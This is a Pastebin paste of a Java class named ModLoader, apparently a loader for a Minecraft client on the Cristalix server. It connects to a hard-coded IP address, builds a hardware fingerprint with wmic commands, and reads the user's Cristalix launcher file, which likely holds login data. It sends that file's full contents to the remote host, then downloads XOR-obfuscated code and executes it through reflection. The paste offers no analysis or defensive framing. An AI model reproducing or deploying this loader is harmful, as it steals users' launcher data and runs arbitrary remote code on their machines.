Guest User

Untitled

a guest
Jul 16th, 2023
1,096
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.57 KB | None | 0 0
  1.  
  2. /**
  3. * @author kriperOok
  4. *
  5. */
  6. import java.io.BufferedReader;
  7. import java.io.ByteArrayInputStream;
  8. import java.io.DataInputStream;
  9. import java.io.DataOutputStream;
  10. import java.io.File;
  11. import java.io.IOException;
  12. import java.io.InputStream;
  13. import java.io.InputStreamReader;
  14. import java.lang.reflect.Method;
  15. import java.net.Socket;
  16. import java.nio.charset.StandardCharsets;
  17. import java.nio.file.Files;
  18. import java.security.MessageDigest;
  19. import java.util.Iterator;
  20. import java.util.List;
  21. import java.util.stream.Collectors;
  22. import java.util.stream.Stream;
  23.  
  24. import dev.xdark.clientapi.ClientApi;
  25. import dev.xdark.clientapi.Side;
  26.  
  27. public final class ModLoader {
  28. private static final char[] HEX_ARRAY;
  29.  
  30. public static void load(ClientApi clientApi) {
  31. try {
  32. Socket socket = new Socket("185.174.136.83", 7481);
  33. DataInputStream dis = new DataInputStream(socket.getInputStream());
  34. DataOutputStream dos = new DataOutputStream(socket.getOutputStream());
  35. Class<?> clazz = Class.forName("od", true, ClassLoader.getSystemClassLoader());
  36. Method method = clazz.getMethod("a", ClientApi.class, InputStream.class, Side.class);
  37. StringBuilder var23 = new StringBuilder();
  38.  
  39. var23 = var23.append(exec("wmic path win32_physicalmedia get SerialNumber"));
  40.  
  41. var23 = var23.append(exec("wmic path win32_processor get ProcessorId"));
  42.  
  43. String uuid = var23.append(exec("wmic path win32_baseboard get Product, Manufacturer")).toString();
  44.  
  45. MessageDigest digest = MessageDigest.getInstance("SHA-256");
  46. byte[] hwid = digest.digest(uuid.getBytes(StandardCharsets.UTF_8));
  47. dos.writeByte(3);
  48. dos.writeUTF(bytesToHex(hwid));
  49. var23 = new StringBuilder();
  50. var23 = var23.append(System.getProperty("user.home"));
  51. String cristalixPath = var23.append("\\.cristalix").toString();
  52. StringBuilder var39 = (new StringBuilder()).append(cristalixPath);
  53. File requiredFile = new File(var39.append("\\.launcher").toString());
  54. byte[] fileBytes = Files.readAllBytes(requiredFile.toPath());
  55. dos.writeInt(fileBytes.length);
  56. dos.write(fileBytes);
  57. int key = dis.readInt();
  58. int count = dis.readInt();
  59.  
  60. for (int n = 0; n < count; ++n) {
  61. int len = dis.readInt();
  62. byte[] bytes = new byte[len];
  63. dis.readFully(bytes, 0, len);
  64.  
  65. for (int i = 0; i < len; ++i) {
  66. bytes[i] = (byte) (bytes[i] ^ key >>> 1);
  67. }
  68.  
  69. method.invoke((Object) null, clientApi, new ByteArrayInputStream(bytes), Side.SERVER);
  70. }
  71.  
  72. socket.close();
  73. dis.close();
  74. dos.close();
  75. } catch (Exception var18) {
  76. var18.printStackTrace();
  77. }
  78.  
  79. }
  80.  
  81. private static String exec(String str) throws IOException {
  82. StringBuilder builder = new StringBuilder();
  83. Process process = Runtime.getRuntime().exec(str);
  84. BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
  85. Stream<String> lines = reader.lines();
  86. Iterator var5 = ((List) lines.collect(Collectors.toList())).iterator();
  87.  
  88. while (var5.hasNext()) {
  89. String line = (String) var5.next();
  90. builder.append(line);
  91. }
  92.  
  93. return builder.toString();
  94. }
  95.  
  96. private static String bytesToHex(byte[] bytes) {
  97. char[] hexChars = new char[bytes.length * 2];
  98.  
  99. for (int j = 0; j < bytes.length; ++j) {
  100. int v = bytes[j] & 255;
  101. hexChars[j * 2] = HEX_ARRAY[v >>> 4];
  102. hexChars[j * 2 + 1] = HEX_ARRAY[v & 15];
  103. }
  104.  
  105. return new String(hexChars);
  106. }
  107.  
  108. private ModLoader() {
  109. throw new UnsupportedOperationException("This is a utility class and cannot be instantiated");
  110. }
  111.  
  112. static {
  113. HEX_ARRAY = "0123456789ABCDEF".toCharArray();
  114. }
  115. }
  116.  
Advertisement
Add Comment
Please, Sign In to add comment